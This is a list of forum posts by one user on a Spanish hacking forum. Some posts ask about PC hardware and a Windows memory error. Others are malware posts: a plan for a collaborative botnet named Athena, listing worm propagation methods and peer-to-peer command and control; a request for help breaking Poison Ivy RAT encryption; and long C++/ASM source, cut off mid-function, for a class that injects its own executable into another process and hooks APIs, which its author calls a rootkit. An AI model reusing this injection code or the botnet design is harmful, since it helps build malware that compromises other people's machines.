elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Temas
Páginas: [1] 2 3
1  Informática / Hardware / Montando un servidor NAS/HTPC en: 1 Septiembre 2011, 01:30 am
Bueno, pues aquí estoy, ahora que aún tengo tiempo libre, pensando en el regalo que me haré por navidades, que aún queda mucho pero me gusta pensar mucho las cosas xD.

La primera idea era comprar un servidor NAS, para uso personal en casa, puesto que tengo 3(4) PC's y el móvil, y creo que le daría bastante uso, puesto que además alterno vivienda en semana - fin de semana por los estudios, donde por la semana comparto piso con 4 estudiantes más y tengo una conexión a internet buena. Pensé que le daría bastante uso, podría tenerlo siempre encendido y usarlo para hacer respaldos (que me fastidia lo suyo siempre que por un imprevisto me cargo el SO), como servidor de descargas por Bittorrent, P2P, DD, etc. Además, poder compartir estas descargas con los otros 4 compañeros y no tener que andar pendientes unos de otros para no acaparar toda la conexión.

Había visto varios equipos a la venta, listos para usar, de los que más me llamaban el Asus NAS-M25. Pero luego pensando un poco, y leyendo otro rato, recapacité y pensé que 180€ por algo que solo soporta dos bahías para discos, y que no incluye los discos, tendría por unos 300€ algo con capacidad de unos 4TB, pero que me parece bastante caro, ya que es el precio que pagué por mi netbook.

Luego curioseando vi que alguna gente recurre a armarse su propio NAS, con una placa Mini-ITX con un Atom 330, como ésta, que me parece muy barata, ponle unas RAM's y una caja y saldría más barato que el de Asus, con la ventaja de que podría ser ampliable, e instalando FreeNAS, por ejemplo, haría perfectamente la función de un NAS.

Pero luego de un rato, vi una placas Mini-ITX también, de Zotac, la ZOTAC ION ITX A incl. Intel® Atom 330, que si bien es BASTANTE más cara que la que simplemente monta un Atom, incluye una GPU de Nvidia que permite reproducir vídeo en 1080p, por ejemplo, además de numerosas conexiones USB, Wifi, y 3 puertos SATA + 1 eSATA. Con ésto saldría más caro el NAS, pero podría utilizarlo como NAS y como HTPC, quedando algo realmente interesante, podría usarlo para hacer backups, servidor de archivos/web, stream de música al móvil, ssh, servidor de descargas, repetidor wifi y además podría tenerlo al lado de la tele y utilizarlo para reproducir lo que se descarga, instalando una distro linux, que si bien llevaría bastante trabajo configurar todo creo que quedaría algo realmente versátil.

Entonces ahí ando, dudando entre las 3 opciones. La que más me gusta es la última, pero tengo la duda de si compensaría el extra de dinero invertido, y que tal rendiría la Zotac esa, en cuanto a consumo/ruído/calor, bueno, sobre todo si alguien me puede orientar un poco porque ando bastante perdido, cualquier idea ayudará, y puesto que hasta navidades queda mucho, tengo tiempo más que de sobra para pensármelo xD.

Saludos
2  Informática / Hardware / Intel, problemas con los chipsets de las placas base para Sandy Bridge en: 2 Febrero 2011, 18:40 pm
Código:
http://foro.noticias3d.com/vbulletin/showthread.php?t=353856


Tenía pensado comprar mi PC con Sandy Bridge este mismo sábado, y por lo que leo hasta Abril no sacarán los nuevos chipsets con el defecto arreglado, no puedo esperar tanto. ¿Qué me recomendáis? Me compro la placa en algún sitio donde aún no la hayan descatalogado (puedo usar los puertos SATA3), opto por otro microprocesador, voy al mediamarkt a quemar todo lo que tenga un chip intel, me pego un tiro... ?

Saludos
3  Informática / Hardware / [Ayuda] Armando mi nuevo PC, varias dudas en: 7 Enero 2011, 22:19 pm
Bueno, planeo comprarme un nuevo equipo antes de finales de este mes, llevo ya varios meses ojeando precios y tal, y tengo más o menos decidido lo que quiero, el presupuesto se movería sobre los 1300-1400, ésta es mi primera lista:

Código:
http://h-sec.org/pc/index.htm

Lo más decidido se puede decir que es el micro y la placa base, salvo que me digáis que es una burrada claro.

La tarjeta gráfica me gustó la 460, no usaré el pc para jugar, pero quiero que si algún día se me da por probar algún juego no tenga que dar una patada a la gráfica.

El disco pues fue de los primeros que vi, ahí agradecería sugerencias, no necesito mucha capacidad, creo que con medio tera iría sobrado.

Las tarjetas RAM me están volviendo loco. En las especificaciones del micro dice que la mayor frecuencia soportada es 1066, esto no es demasiado poco? Puedo enchufarle de igual forma una de por ejemplo 1333 aunque funcione como 1066 (Lo digo porque en alternate no hay mucho donde elegir entre las de 1066, la diferencia de precios es mínima y quiero perdirlo todo a la misma tienda).

El monitor me pillé ese para aprovechar la conexión HDMI de la gráfica, si me decís que no vale la pena me cojo uno más barato.

La caja, ventilador y fuente me pillé las de esa marca que parecen buenos y no son muy caros, no sé, me da un poco igual.

Acepto cualquier sugerencia, aunque tengo bastante claro lo de asus-intel-nvidia xD.

Gracias
4  Programación / Programación C/C++ / ERROR_INVALID_ADDRESS al usar VirtualAllocEx con una dirección fija en: 31 Agosto 2010, 17:37 pm
Bueno, pues la duda es lo que dice el título, estoy intentando usar VirtualAlloc o VirtualAllocEx, me da igual, para reservar memoria en una dirección de memoria fija, en concreto en 0x0040000 (teniendo el base address de mi ejecutable en 00300000). Levo días buscando la razón del error pero no encuentro nada que me sirva, ejecutando lo siguiente:

Código
  1. #pragma comment(linker,"/NODEFAULTLIB")
  2. #pragma comment(linker,"/ENTRY:main")
  3.  
  4. #include <Windows.h>
  5.  
  6. int main()
  7. {
  8. //CHAR MSG[1024];
  9. //SYSTEM_INFO SystemInfo;
  10. //GetSystemInfo(&SystemInfo);
  11.  
  12. //wsprintfA(MSG,"%s%X%s%X","MinimumApplicationAddress: ",SystemInfo.lpMinimumApplicationAddress,"\nMaximumApplicationAddress: ",SystemInfo.lpMaximumApplicationAddress);
  13. //MessageBoxA(0,MSG,"Info",MB_ICONINFORMATION);
  14.  
  15. if(!VirtualAllocEx(GetCurrentProcess(),(LPVOID)0x00400000,0x1000,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE))
  16. {
  17. MessageBoxA(0,"Error al reservar memoria en 0x00400000",0,MB_ICONERROR);
  18. return 0;
  19. }
  20.  
  21. MessageBoxA(0,"Memoria Reservada correctamente en 0x00400000","Éxito",MB_ICONINFORMATION);
  22.  
  23. return 0;
  24. }
  25.  

Ojo, linkear el ejecutable con una dirección base diferente de 0x00400000 o en su defecto cambiar la dirección fija a reservar.

Éste código, en mi PC Win7 32bits reserva memoria bien sólo a veces, otras veces falla devolviendo last_error ERROR_INVALID_ADDRESS. Viendo con olly me dice que la dirección no está en uso incluso cuando falla, pero el error es como sí la dirección estuviera ya reservada  :-\.

Gracias por adelandato  :P
5  Seguridad Informática / Análisis y Diseño de Malware / Proyecto Athena en: 1 Abril 2010, 02:38 am
    Proyecto Athena


    Athena será el nombre del Bot que realizaremos en éste post, un proyecto colaborativo en el que todo el mundo interesado podrá participar aportando código tanto en C como en ASM. El proyecto seguirá estrictamente las siguientes directrices:

    • El proyecto será OpenSource, el código se alojará en un repositorio al que todo el mundo podrá tener acceso, y al que los colaboradores podrán subir sus aportaciones.
    • Todas las posibles compilaciones del proyecto serán enviadas a empresas antivirus con el fin de que el Bot no pueda presentar ningún riesgo para la seguridad.
    • La finalidad del proyecto será única y exclusivamente el aprendizaje de técnicas usadas por Botnet's, intentando crear nuevos métodos y valorando la respuesta de las compañías antivirus.


    Desarrollo

    • Se utilizará GoogleCode como repositorio, y Subversion como sistema de control de versiones.
    • Para solicitar ser colaborador del proyecto usen un Mensaje Privado
    • Todas las funciones deberán estar acompañadas de una documentación detallada.
    • Se podrán aportar tanto funciones programadas en ASM como en C/C++.

    Log
    2 Abril 2010: Se realizó una reunión en un IRC con los miembros que hasta ese día se habían unido al proyecto para decidir con que funiones contará el bot. Se llegaron a los siguientes acuerdos:

         1. Se realizarán las funciones de conexión y propagación, entendiendo éstas como las más difíciles, y no se desarrollará ningún payload destructivo ni delictivo.
         2. Se repartieron los primeros trabajos, los cuales se programarán en los siguientes días y se subirán al repositorio, junto con una detallada documentación en la wiki.
         3. Las funciones de propagación que se decidieron implementar son las siguientes:
              -USB
              -P2P
              -AutoMail
              -Infección PE
              -Redes Sociales
              -Propagación Web
              -Exploits
              -MSN Spread
              -Putty Hooking

         4. La conexión se decidió realizarla de ésta forma:
              -Conexión IRC (TEMPORAL)
              -Conexión P2P
              -Cualquier nodo hace de Botmaster
              -Cifrado SSL
              -Búsqueda de Bots buscando en el rango de país

         5. El bot tendrá la siguiente estructura
              -Shellcode Loader (TLS) + Exe con .reloc (Resource Exe infectado)

    Colaboradores

    -SecMAM
    -RNA
    -JaixxonJax
    -Hacker_Zero
    -biribau
    -wisehacks
    -EPI

    Links

    Proyecto en GoogleCode
    Código:
    http://code.google.com/p/athenabot/

    Wiki en GoogleCode
    Código:
    http://code.google.com/p/athenabot/wiki/AthenaBot
    6  Programación / Ingeniería Inversa / [Ayuda cifrado] Analizando Poison Ivy en: 19 Febrero 2010, 18:18 pm
    Bueno, llevo ya invertido bastante tiempo intentando sacarle las entrañas a la última versión del poison, la 2.3.2, tengo ya casi todo el código comentado del serverbase, hasta que conecta y pasan cosas mágicas. Bueno, la cosa es que di con la rutina que utiliza en servidor y el cliente para cifrar, y no consigo identificarla, pues no se nada de criptografía  :-\. Conozco lo que hace cada instrucción, pero la cifrado en su conjunto no se a que clase de algoritmo pertenece. Necesito saber cómo cifra los datos esa rutina para poder sniffear y modificar los datos que envía, y como voy a hacerlo en C, si no consigo encontrar que algoritmo sigue tendré que copiar los bytes directamente a un buffer y llamar al buffer, sin conocer el algoritmo, algo que me gustaría conocer  :P. Además, la rutina de cifrado es relativamente larga y bastante sistemática, lo que me hace pensar que no es un algoritmo casero, aunque quizás esté equivocado. Solo necesitaría saber si alguien puede identificar el algoritmo a simple vista y corresponde a un algoritmo conocido o por el contrario es una cifrado "casera":

    La llamada:


    La rutina:


    La función marcada como ??? a la cual llama la rutina anterior:


    Tambien sé que debe de ser una cifrado que utiliza pass, el pass de conexión  :P.

    Saludos, y gracias por anticipado
    7  Seguridad Informática / Análisis y Diseño de Malware / [SRC][C++/ASM] ClsHookAPI en: 16 Enero 2010, 14:49 pm
    ClsHookAPI

    ¿Para qué sirve?
         La clase ClsHookAPI nos permite crear aplicaciones en las que necesitemos hacer uso de un API Hooking de una forma muy sencilla, de forma que nos permita centrarnos en la programación que reciba el hook.

    ¿Cómo funciona?
         La clase lo que hace es inyectar el propio Rootkit en el proceso que tratamos de Hookear mediante ésta técnica. Una vez que tenemos todo el ejecutable en el mismo proceso, el Rootkit instala los Hooks redirigiendo las API's hacia las funciones del Rootkit inyectado en ese mismo proceso.

    ¿Qué consigues con eso?
         Al estar el Rootkit perfectamente inyectado en el proceso que queremos hookear, al redirigir las API's hacia las funciones que reciben el hook, las variables utiliadas en esa función, así como las llamadas a otras fuciones, API's, etc funcionarán perfectamente, lo que nos evita tener que preocuparnos de cargar las API's dinámicamente, deltas, variables imposibles, etc.

    ¿Cuanto facilita la clase el proceso?
         Al MÁXIMO!. La verdad no se me ocurrió ningúna forma más sencilla.

    ¿Cómo funciona?
         Lo primero es llamar al constructor de la clase y setear el proceso que queremos hookear:

    Código
    1. ClsHookAPI Hook;
    2. Hook.SetHookedProcessName("ejecutable.exe");
    3.  

         La función SetHookedProcessName() devuelve TRUE si se puedo abrir el proceso, y FALSE si ocurrió algún error, como que el proceso no esté en ejecución.

         Luego debemos definir la función que recibirá el hook. La función debe de usar la convención de llamada __stdcall para que no corrompa la pila. En la función podemos usar cualquier API o variable, incluso podemos llamar a la misma API que estamos Hookeando sin temor a que caiga en el hook. En éste caso hookearé MessageBoxA:

    Código
    1. int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
    2. {
    3. //Llamamos a MessageBoxA normalmente, cambiando el mensaje que muestra
    4. return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0);
    5. }
    6.  

         Ahora ya podemos instalar el Hook, para eso utilizamos el operador '<<' para setear el nombre de la DLL y la API, y el operador '>>' para indicar a donde queremos redirigir la API:

    Código
    1. Hook<<"USER32.MessageBoxA";
    2. Hook>>(unsigned long)HookedMessageBoxA;
    3.  

         Ya tendríamos la API MessageBoxA Hookeada  :P.

         Nota: #Es necesario setear la dirección a la que se redirigirá la API justo despues de indicar la API que queremos Hookear.

    ¿Puedo Hookear varias API's a la vez?
         Por supuesto, aquí un ejemplo de 3 Hooks simultáneos:

    Código
    1. #pragma comment (linker,"/ENTRY:main")
    2.  
    3. #include "ClsHookApi.h"
    4.  
    5. int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);
    6. void __stdcall HookedExitProcess(UINT uExitCode);
    7. BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration);
    8.  
    9. int main()
    10. {
    11. ClsHookAPI miHook;
    12.  
    13. if(miHook.SetHookedProcessName("mensaje.exe"))
    14. {
    15. miHook<<"USER32.MessageBoxA";
    16. miHook>>(unsigned long)HookedMessageBoxA;
    17.  
    18. miHook<<"KERNEL32.ExitProcess";
    19. miHook>>(unsigned long)HookedExitProcess;
    20.  
    21. miHook<<"KERNEL32.DLL.Beep";
    22. miHook>>(unsigned long)HookedBeep;
    23. }
    24.  
    25. return 0;
    26. }
    27.  
    28. int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
    29. {
    30. return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0);
    31. }
    32.  
    33. void __stdcall HookedExitProcess(UINT uExitCode)
    34. {
    35. MessageBoxA(0,"Has llamado a ExitProcess!","xD",0);
    36. return ExitProcess(uExitCode);
    37. }
    38.  
    39. BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration)
    40. {
    41. Beep(1000,100);
    42. Beep(1000,100);
    43. return Beep(1000,100);
    44. }
    45.  

    ¿Vale, me la das ya?
          Claro  :laugh:. Pongo aquí el código aunque es un poco largo. Más abajo ponto el proyecto de ejemplo en descarga.

    ClsHookAPI.h
    Código
    1. //----------------------------------------------------------------------------------------------------
    2. //Autor: Hacker_Zero
    3. //Fecha: 11 enero 2010
    4. //Nombre: ClsHookApi
    5. //Descripción:
    6. // Clase en C++ que permite hookear API's de forma simultánea, facilitando enormemente
    7. //la programación de las funciones que reciven el hook así como la instalación de los
    8. //propios hooks.
    9. //----------------------------------------------------------------------------------------------------
    10. //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html>
    11. //Eres libre de utilizar, modificar y distribuír ésta clase siempre que mantengas ésta cabecera
    12. //----------------------------------------------------------------------------------------------------
    13.  
    14. #include <windows.h>
    15. #include <Tlhelp32.h>
    16. #include <vector>
    17. #include <string.h>
    18.  
    19. using namespace std;
    20.  
    21. struct HookStruct
    22. {
    23. LPSTR lpAPI;
    24. LPSTR lpHookFunction;
    25. CHAR lpBuffer[11];
    26. HookStruct* previousHookStruct;
    27. HookStruct* nextHookStruct;
    28. };
    29.  
    30. #ifndef HOOKAPI_H
    31. #define HOOKAPI_H
    32.  
    33. void HookApi(HookStruct* miHookStruct);
    34. void mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer);
    35. void ControlFunction();
    36. void Caller();
    37. void UninstallHooks(HookStruct* miHookStruct);
    38. void RestoreHooks(HookStruct* miHookStruct);
    39.  
    40. class ClsHookAPI
    41. {
    42. public:
    43. ClsHookAPI();
    44. ClsHookAPI& operator<<(LPSTR HookName);
    45. ClsHookAPI& operator>>(unsigned long lpFunctionHook);
    46. bool SetHookedProcessName(LPSTR ProcessName);
    47.  
    48. private:
    49. void AddFunction(HookStruct miHookStruct);
    50. void InstallHook(HookStruct* miHookStruct);
    51. vector<HookStruct> Hooks;
    52. BOOL ExeInjected;
    53. HANDLE hProcess;
    54. LPSTR InjectedExeBaseAddress;
    55. HookStruct* lastInjectedHookStruct;
    56. };
    57. #endif
    58.  

    ClsHookAPI.cpp
    Código
    1. #include "ClsHookApi.h"
    2.  
    3. //Constructor de la clase
    4. ClsHookAPI::ClsHookAPI()
    5. {
    6. InjectedExeBaseAddress=NULL;
    7. lastInjectedHookStruct=NULL;
    8. ExeInjected=false;
    9. }
    10.  
    11. //Sobrecarga del operador '<<'
    12. ClsHookAPI& ClsHookAPI::operator<<(LPSTR HookName)
    13. {
    14. //Obtenemos la DLL y la API de HookName
    15. string strHookName;
    16. strHookName.append(HookName);
    17. string strDllName=strHookName.substr(0,strHookName.find_last_of("."));
    18. string strApiName=strHookName.substr(strHookName.find_last_of(".")+1);
    19.  
    20. //Inicializamos la estructura y seteamos el puntero a la API
    21. HookStruct miHookStruct;
    22. miHookStruct.lpAPI=(LPSTR)GetProcAddress(LoadLibraryA(strDllName.c_str()),strApiName.c_str());
    23.  
    24. //Añadimos la estructura al Array
    25. AddFunction(miHookStruct);
    26.  
    27. return *this;
    28. }
    29.  
    30. //Sobrecarga del operador '>>'
    31. ClsHookAPI& ClsHookAPI::operator>>(unsigned long lpFunctionHook)
    32. {
    33. Hooks.back().lpHookFunction=(LPSTR)lpFunctionHook;
    34. InstallHook(&Hooks.back());
    35. return *this;
    36. }
    37.  
    38. void ClsHookAPI::AddFunction(HookStruct miHookStruct)
    39. {
    40. //Si es el primer elemento que añadimos
    41. if(!Hooks.size())
    42. {
    43. miHookStruct.previousHookStruct=NULL;
    44. }
    45. else
    46. {
    47. miHookStruct.previousHookStruct=this->lastInjectedHookStruct;
    48. }
    49.  
    50. miHookStruct.nextHookStruct=NULL;
    51. //Insertamos la estructura en el array
    52. Hooks.push_back(miHookStruct);
    53. return;
    54. }
    55.  
    56. //Seteamos el nombre del proceso en el que inyectaremos
    57. bool ClsHookAPI::SetHookedProcessName(LPSTR ProcessName)
    58. {
    59. HANDLE bakhProcess=hProcess;
    60. hProcess=NULL;
    61.  
    62. HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    63. PROCESSENTRY32 pInfo;
    64. pInfo.dwSize=sizeof(PROCESSENTRY32);
    65.  
    66. //Obtenemos el PID del proceso
    67. Process32First(hSnapshot,&pInfo);
    68. for(;Process32Next(hSnapshot,&pInfo);)
    69. {
    70. if(!lstrcmpA(pInfo.szExeFile,ProcessName))
    71. {
    72. if(OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID))
    73. {
    74. ExeInjected=false;
    75. hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID);
    76. }
    77. }
    78. }
    79.  
    80. if(!hProcess)
    81. {
    82. hProcess=bakhProcess;
    83. return false;
    84. }
    85.  
    86. return true;
    87. }
    88.  
    89. void ClsHookAPI::InstallHook(HookStruct* miHookStruct)
    90. {
    91. //Nos inyectamos en el proceso si no lo hemos hecho ya
    92. if(ExeInjected==false)
    93. {
    94. PIMAGE_DOS_HEADER IDH;
    95. PIMAGE_NT_HEADERS INTH;
    96. PIMAGE_SECTION_HEADER ISH;
    97.  
    98. LPSTR lpFileName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
    99. GetModuleFileName(NULL,lpFileName,MAX_PATH);
    100.  
    101. HANDLE hFile=CreateFileA(lpFileName,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
    102. DWORD szFile=GetFileSize(hFile,0);
    103. DWORD dwBytes;
    104. LPSTR lpFileMaped=(LPSTR)GlobalAlloc(GPTR,szFile);
    105. ReadFile(hFile,lpFileMaped,szFile,&dwBytes,0);
    106. CloseHandle(hFile);
    107.  
    108. //Obtenemos la cabecera DOS y PE en las estructuras
    109. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    110. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
    111.  
    112. //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
    113. LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(this->hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    114.  
    115. //Copiamos la cabecera DOS y PE al buffer
    116. WriteProcessMemory(this->hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);
    117.  
    118. //Copiamos las secciones en su VirtualOffset en el buffer
    119. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    120. {
    121. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    122. WriteProcessMemory(this->hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
    123. }
    124.  
    125. //Calculamos el delta entre la dirección del buffer y el ImageBase
    126. DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
    127.  
    128. //------------------------------------------------------------
    129. /* -Reubicamos la dirección base del ejecutable :D- */
    130. //------------------------------------------------------------
    131.  
    132. //Obteemos el Image Base Relocation
    133. //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
    134. //poder trabajar con él más comodamente
    135. PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
    136. PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    137. ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    138.  
    139. //Vamos recorriendo todas las etradas del bloque
    140. for(DWORD n=0;IBR->VirtualAddress>0;n++)
    141. {
    142. //Obtenemos el Bloque de reubicación
    143. LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
    144.  
    145. //Obtenemos la primera entrada del bloque
    146. LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));
    147.  
    148. //Recorremos todas las entradas del bloque
    149. for(DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
    150. {
    151. WORD valor;
    152. ReadProcessMemory(this->hProcess,RelocationEntry,&valor,2,0);
    153. //Obtenemos los 4 bits que definen el tipo de reubicación
    154. DWORD type=valor>>12;
    155.  
    156. //Obtenemos los 12 bits que definen la dirección de la reubicación
    157. DWORD offset=valor&0xFFF;
    158.  
    159. //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
    160. if(type==IMAGE_REL_BASED_HIGHLOW)
    161. {
    162. //Añadimos a la dirección que depende del imagebase original
    163. //el delta entre el imagebase y nuestra dirección base
    164. LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
    165. DWORD NewValue;
    166. ReadProcessMemory(this->hProcess,newAddr,&NewValue,4,0);
    167. NewValue+=Delta;
    168. WriteProcessMemory(this->hProcess,newAddr,&NewValue,4,0);
    169. }
    170. }
    171.  
    172. //Vamos al siguiente bloque
    173. PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
    174. ReadProcessMemory(this->hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    175. }
    176. GlobalFree(IBR);
    177.  
    178.  
    179. //---------------------------------------------------------------------
    180. /* -Cargamos los valores de la IAT para poder llamar a las API's- */
    181. //---------------------------------------------------------------------
    182.  
    183. PIMAGE_THUNK_DATA ITD;
    184. PIMAGE_THUNK_DATA PITD;
    185. PIMAGE_IMPORT_BY_NAME IIBN;
    186.  
    187. //Comprobamos si hay Import Data Descriptor
    188. if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
    189. {
    190.  
    191. //Obtenemos el Import Data Descriptor
    192. //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
    193. //poder trabajar con él más comodamente
    194. PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
    195. PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    196. ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    197.  
    198. //Vamos recorriendo todas las Dll's importadas por el ejecutable
    199. for(;IID->Name;)
    200. {
    201. //Obtenemos la longitud del nombre de la dll
    202. DWORD szName=0;
    203. CHAR miByte=1;
    204. for(int i=0;miByte;i++)
    205. {
    206. szName=i;
    207. ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
    208. }
    209.  
    210. //Obtenemos el nombre de la dll
    211. LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
    212. ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);
    213.  
    214. //Cargamos la dll
    215. HMODULE hLib=LoadLibraryA(lpName);
    216.  
    217. //Obtenemos la dirección al primer miembro del array Image Thunk Data's
    218. PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
    219. ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
    220. ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    221.  
    222. //Vamos recorriendo las funciones importadas
    223. for(DWORD x=0;ITD->u1.Ordinal;x++)
    224. {
    225. miByte=1;
    226. //Obtenemos la longitud del nombre de la API
    227. for(int i=0;miByte;i++)
    228. {
    229. szName=i;
    230. LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
    231. puntero+=i;
    232. ReadProcessMemory(this->hProcess,puntero,&miByte,1,0);
    233. }
    234.  
    235. //Cargamos el Image Import By Name para obtener el nombre
    236. IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
    237. ReadProcessMemory(this->hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);
    238.  
    239. //Obtenemos la dirección de la función y la guardamos en la IAT
    240. DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
    241. WriteProcessMemory(this->hProcess,ExeBuffer+IID->FirstThunk+x*sizeof(IMAGE_THUNK_DATA),&lpAPI,4,0);
    242.  
    243. PITD++;
    244. ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    245. }
    246. PIID++;
    247. ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    248. GlobalFree(lpName);
    249. GlobalFree(ITD);
    250. }
    251. GlobalFree(IID);
    252. }
    253. this->InjectedExeBaseAddress=ExeBuffer;
    254. this->ExeInjected=true;
    255. }
    256.  
    257. //Cambiamos el ImageBase a la dirección de la función que recibe el hook
    258. miHookStruct->lpHookFunction=(LPSTR)((unsigned long)this->InjectedExeBaseAddress+(unsigned long)miHookStruct->lpHookFunction-(unsigned long)GetModuleHandle(NULL));
    259.  
    260. //Reservamos espacio para la estructura en el proceso en el que inyectamos
    261. HookStruct* lpHookStruct=(HookStruct*)VirtualAllocEx(this->hProcess,0,sizeof(HookStruct),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    262. //Esribimos la estructura en el espacio reservado
    263. WriteProcessMemory(this->hProcess,lpHookStruct,miHookStruct,sizeof(HookStruct),0);
    264.  
    265. //Seteamos el valor de nextHookStruct de la HookStruct anterior a la que acabamos de inyectar
    266. HookStruct* lastHookStruct=(HookStruct*)GlobalAlloc(GPTR,sizeof(HookStruct));
    267. ReadProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0);
    268. lastHookStruct->nextHookStruct=lpHookStruct;
    269. WriteProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0);
    270.  
    271. //Seteamo el valor de lastInjectedHookStruct
    272. this->lastInjectedHookStruct=lpHookStruct;
    273.  
    274. //Obteemos la dirección de la función HookApi
    275. DWORD lpHookApi=(DWORD)this->InjectedExeBaseAddress+(DWORD)HookApi-(DWORD)GetModuleHandle(NULL);
    276.  
    277. //Llamamos al EntryPoint
    278. CreateRemoteThread(this->hProcess,0,0,(LPTHREAD_START_ROUTINE)lpHookApi,(HookStruct*)lpHookStruct,0,0);
    279.  
    280. return;
    281. }
    282.  
    283. //Pequeño código en ASM que por el cual sustituimos el comienzo de la API
    284. void __declspec(naked) Caller()
    285. {
    286. __asm
    287. {
    288. push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por el puntero a HookStruct
    289. push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por la dirección de ControlFunction
    290. ret
    291. }
    292. }
    293.  
    294. void UninstallHooks(HookStruct* miHookStruct)
    295. {
    296. __asm pushad;
    297. //Nos desplazamos al primer Hook
    298. for(;miHookStruct->previousHookStruct!=NULL;)
    299. {
    300. miHookStruct=miHookStruct->previousHookStruct;
    301. }
    302.  
    303. //Desinstalamos todos los Hooks
    304. for(;miHookStruct!=NULL;)
    305. {
    306. mCopyMemory(miHookStruct->lpAPI,miHookStruct->lpBuffer,11);
    307. FlushInstructionCache(GetCurrentProcess(),0,0);
    308. miHookStruct=miHookStruct->nextHookStruct;
    309. }
    310. __asm popad;
    311. }
    312.  
    313. void RestoreHooks(HookStruct* miHookStruct)
    314. {
    315. __asm pushad;
    316. //Nos desplazamos al primer Hook
